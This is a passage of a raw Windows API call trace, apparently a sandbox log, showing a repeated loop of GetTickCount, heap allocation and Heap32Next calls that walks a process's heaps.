GetTickCount () returned 0x114f528 [0114.237] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.237] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.237] Heap32Next (lphe=0x18f6ac) returned 1 [0114.242] GetTickCount () returned 0x114f528 [0114.242] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.242] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.242] Heap32Next (lphe=0x18f6ac) returned 1 [0114.248] GetTickCount () returned 0x114f528 [0114.248] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.248] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.248] Heap32Next (lphe=0x18f6ac) returned 1 [0114.253] GetTickCount () returned 0x114f538 [0114.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.253] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.253] Heap32Next (lphe=0x18f6ac) returned 1 [0114.258] GetTickCount () returned 0x114f538 [0114.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.258] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.258] Heap32Next (lphe=0x18f6ac) returned 1 [0114.263] GetTickCount () returned 0x114f538 [0114.264] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.264] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.264] Heap32Next (lphe=0x18f6ac) returned 1 [0114.269] GetTickCount () returned 0x114f548 [0114.269] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.269] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.269] Heap32Next (lphe=0x18f6ac) returned 1 [0114.274] GetTickCount () returned 0x114f548 [0114.274] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.274] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.274] Heap32Next (lphe=0x18f6ac) returned 1 [0114.280] GetTickCount () returned 0x114f548 [0114.280] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.280] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.280] Heap32Next (lphe=0x18f6ac) returned 1 [0114.333] GetTickCount () returned 0x114f586 [0114.333] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.333] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.333] Heap32Next (lphe=0x18f6ac) returned 1 [0114.338] GetTickCount () returned 0x114f586 [0114.338] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.338] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.338] Heap32Next (lphe=0x18f6ac) returned 1 [0114.343] GetTickCount () returned 0x114f586 [0114.344] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.344] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.344] Heap32Next (lphe=0x18f6ac) returned 1 [0114.349] GetTickCount () returned 0x114f596 [0114.349] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.349] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.349] Heap32Next (lphe=0x18f6ac) returned 1 [0114.354] GetTickCount () returned 0x114f596 [0114.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.354] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.355] Heap32Next (lphe=0x18f6ac) returned 1 [0114.360] GetTickCount () returned 0x114f596 [0114.360] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.360] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.360] Heap32Next (lphe=0x18f6ac) returned 1 [0114.365] GetTickCount () returned 0x114f5a5 [0114.365] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.365] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.365] Heap32Next (lphe=0x18f6ac) returned 1 [0114.370] GetTickCount () returned 0x114f5a5 [0114.370] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.370] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.371] Heap32Next (lphe=0x18f6ac) returned 1 [0114.376] GetTickCount () returned 0x114f5a5 [0114.376] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.376] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.376] Heap32Next (lphe=0x18f6ac) returned 1 [0114.440] GetTickCount () returned 0x114f5f3 [0114.440] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.440] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.440] Heap32Next (lphe=0x18f6ac) returned 1 [0114.447] GetTickCount () returned 0x114f5f3 [0114.447] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.447] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.447] Heap32Next (lphe=0x18f6ac) returned 1 [0114.452] GetTickCount () returned 0x114f5f3 [0114.452] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.452] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.452] Heap32Next (lphe=0x18f6ac) returned 1 [0114.458] GetTickCount () returned 0x114f603 [0114.458] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.458] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.458] Heap32Next (lphe=0x18f6ac) returned 1 [0114.463] GetTickCount () returned 0x114f603 [0114.463] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.463] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.463] Heap32Next (lphe=0x18f6ac) returned 1 [0114.468] GetTickCount () returned 0x114f603 [0114.468] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.469] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.469] Heap32Next (lphe=0x18f6ac) returned 1 [0114.486] GetTickCount () returned 0x114f622 [0114.486] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.486] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.486] Heap32Next (lphe=0x18f6ac) returned 1 [0114.491] GetTickCount () returned 0x114f622 [0114.491] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.491] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.491] Heap32Next (lphe=0x18f6ac) returned 1 [0114.497] GetTickCount () returned 0x114f622 [0114.497] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.497] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.497] Heap32Next (lphe=0x18f6ac) returned 1 [0114.502] GetTickCount () returned 0x114f632 [0114.502] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.502] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.502] Heap32Next (lphe=0x18f6ac) returned 1 [0114.507] GetTickCount () returned 0x114f632 [0114.507] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.507] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.507] Heap32Next (lphe=0x18f6ac) returned 1 [0114.513] GetTickCount () returned 0x114f632 [0114.513] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.513] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.513] Heap32Next (lphe=0x18f6ac) returned 1 [0114.518] GetTickCount () returned 0x114f632 [0114.518] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.518] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.518] Heap32Next (lphe=0x18f6ac) returned 1 [0114.525] GetTickCount () returned 0x114f641 [0114.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.526] Heap32Next (lphe=0x18f6ac) returned 1 [0114.531] GetTickCount () returned 0x114f641 [0114.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.531] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.531] Heap32Next (lphe=0x18f6ac) returned 1 [0114.536] GetTickCount () returned 0x114f651 [0114.536] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.537] Heap32Next (lphe=0x18f6ac) returned 1 [0114.542] GetTickCount () returned 0x114f651 [0114.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.542] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.542] Heap32Next (lphe=0x18f6ac) returned 1 [0114.547] GetTickCount () returned 0x114f651 [0114.547] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.547] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.547] Heap32Next (lphe=0x18f6ac) returned 1 [0114.553] GetTickCount () returned 0x114f660 [0114.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.553] Heap32Next (lphe=0x18f6ac) returned 1 [0114.558] GetTickCount () returned 0x114f660 [0114.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.558] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.558] Heap32Next (lphe=0x18f6ac) returned 1 [0114.563] GetTickCount () returned 0x114f660 [0114.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.564] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.564] Heap32Next (lphe=0x18f6ac) returned 1 [0114.572] GetTickCount () returned 0x114f670 [0114.572] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.572] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.572] Heap32Next (lphe=0x18f6ac) returned 1 [0114.577] GetTickCount () returned 0x114f670 [0114.577] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.577] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.577] Heap32Next (lphe=0x18f6ac) returned 1 [0114.583] GetTickCount () returned 0x114f680 [0114.583] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.583] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.583] Heap32Next (lphe=0x18f6ac) returned 1 [0114.588] GetTickCount () returned 0x114f680 [0114.588] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.588] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.588] Heap32Next (lphe=0x18f6ac) returned 1 [0114.593] GetTickCount () returned 0x114f680 [0114.593] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.593] Heap32Next (lphe=0x18f6ac) returned 1 [0114.599] GetTickCount () returned 0x114f68f [0114.599] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.599] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.599] Heap32Next (lphe=0x18f6ac) returned 1 [0114.604] GetTickCount () returned 0x114f68f [0114.604] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.604] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.604] Heap32Next (lphe=0x18f6ac) returned 1 [0114.610] GetTickCount () returned 0x114f68f [0114.610] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.610] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.610] Heap32Next (lphe=0x18f6ac) returned 1 [0114.618] GetTickCount () returned 0x114f69f [0114.618] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.618] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.618] Heap32Next (lphe=0x18f6ac) returned 1 [0114.623] GetTickCount () returned 0x114f69f [0114.623] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.623] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.623] Heap32Next (lphe=0x18f6ac) returned 1 [0114.628] GetTickCount () returned 0x114f6ae [0114.628] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.628] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.628] Heap32Next (lphe=0x18f6ac) returned 1 [0114.633] GetTickCount () returned 0x114f6ae [0114.633] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.633] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.633] Heap32Next (lphe=0x18f6ac) returned 1 [0114.638] GetTickCount () returned 0x114f6ae [0114.639] Heap32ListNext (hSnapshot=0x284, lphl=0x18f6ec) returned 1 [0114.639] GetTickCount () returned 0x114f6ae [0114.639] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.639] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.639] Heap32First (lphe=0x18f6ac, th32ProcessID=0xb7c, th32HeapID=0x860000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.645] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.645] Heap32Next (lphe=0x18f6ac) returned 1 [0114.651] GetTickCount () returned 0x114f6be [0114.651] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.651] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.651] Heap32Next (lphe=0x18f6ac) returned 1 [0114.656] GetTickCount () returned 0x114f6be [0114.656] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.657] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.657] Heap32Next (lphe=0x18f6ac) returned 1 [0114.674] GetTickCount () returned 0x114f6dd [0114.674] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.674] Heap32Next (lphe=0x18f6ac) returned 1 [0114.679] GetTickCount () returned 0x114f6dd [0114.679] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.680] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.680] Heap32Next (lphe=0x18f6ac) returned 1 [0114.685] GetTickCount () returned 0x114f6dd [0114.685] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.685] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.685] Heap32Next (lphe=0x18f6ac) returned 1 [0114.691] GetTickCount () returned 0x114f6ed [0114.691] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.691] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.691] Heap32Next (lphe=0x18f6ac) returned 1 [0114.696] GetTickCount () returned 0x114f6ed [0114.696] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.697] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.697] Heap32Next (lphe=0x18f6ac) returned 1 [0114.702] GetTickCount () returned 0x114f6ed [0114.702] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.702] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.702] Heap32Next (lphe=0x18f6ac) returned 1 [0114.710] GetTickCount () returned 0x114f6fc [0114.711] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.711] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.711] Heap32Next (lphe=0x18f6ac) returned 1 [0114.716] GetTickCount () returned 0x114f6fc [0114.716] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.716] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.716] Heap32Next (lphe=0x18f6ac) returned 1 [0114.722] GetTickCount () returned 0x114f70c [0114.722] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.722] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.722] Heap32Next (lphe=0x18f6ac) returned 1 [0114.727] GetTickCount () returned 0x114f70c [0114.727] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.727] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.727] Heap32Next (lphe=0x18f6ac) returned 1 [0114.733] GetTickCount () returned 0x114f70c [0114.733] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.733] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.733] Heap32Next (lphe=0x18f6ac) returned 1 [0114.738] GetTickCount () returned 0x114f71c [0114.738] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.738] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.738] Heap32Next (lphe=0x18f6ac) returned 1 [0114.744] GetTickCount () returned 0x114f71c [0114.744] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.744] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.744] Heap32Next (lphe=0x18f6ac) returned 1 [0114.749] GetTickCount () returned 0x114f71c [0114.749] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.749] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.749] Heap32Next (lphe=0x18f6ac) returned 1 [0114.757] GetTickCount () returned 0x114f72b [0114.757] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.757] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.757] Heap32Next (lphe=0x18f6ac) returned 1 [0114.762] GetTickCount () returned 0x114f72b [0114.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.762] Heap32Next (lphe=0x18f6ac) returned 1 [0114.767] GetTickCount () returned 0x114f72b [0114.767] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.768] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.768] Heap32Next (lphe=0x18f6ac) returned 1 [0114.773] GetTickCount () returned 0x114f73b [0114.773] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.773] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.773] Heap32Next (lphe=0x18f6ac) returned 1 [0114.778] GetTickCount () returned 0x114f73b [0114.778] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.778] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.778] Heap32Next (lphe=0x18f6ac) returned 1 [0114.784] GetTickCount () returned 0x114f74a [0114.785] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.785] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.785] Heap32Next (lphe=0x18f6ac) returned 1 [0114.790] GetTickCount () returned 0x114f74a [0114.790] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.790] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.790] Heap32Next (lphe=0x18f6ac) returned 1 [0114.795] GetTickCount () returned 0x114f74a [0114.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.795] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.795] Heap32Next (lphe=0x18f6ac) returned 1 [0114.816] GetTickCount () returned 0x114f76a [0114.816] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.816] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.816] Heap32Next (lphe=0x18f6ac) returned 1 [0114.821] GetTickCount () returned 0x114f76a [0114.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.821] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.821] Heap32Next (lphe=0x18f6ac) returned 1 [0114.827] GetTickCount () returned 0x114f76a [0114.827] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.827] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.827] Heap32Next (lphe=0x18f6ac) returned 1 [0114.832] GetTickCount () returned 0x114f779 [0114.832] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.832] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.832] Heap32Next (lphe=0x18f6ac) returned 1 [0114.838] GetTickCount () returned 0x114f779 [0114.838] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.838] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.838] Heap32Next (lphe=0x18f6ac) returned 1 [0114.843] GetTickCount () returned 0x114f779 [0114.843] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.843] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.843] Heap32Next (lphe=0x18f6ac) returned 1 [0114.870] GetTickCount () returned 0x114f798 [0114.870] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.870] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.870] Heap32Next (lphe=0x18f6ac) returned 1 [0114.875] GetTickCount () returned 0x114f798 [0114.876] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.876] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: 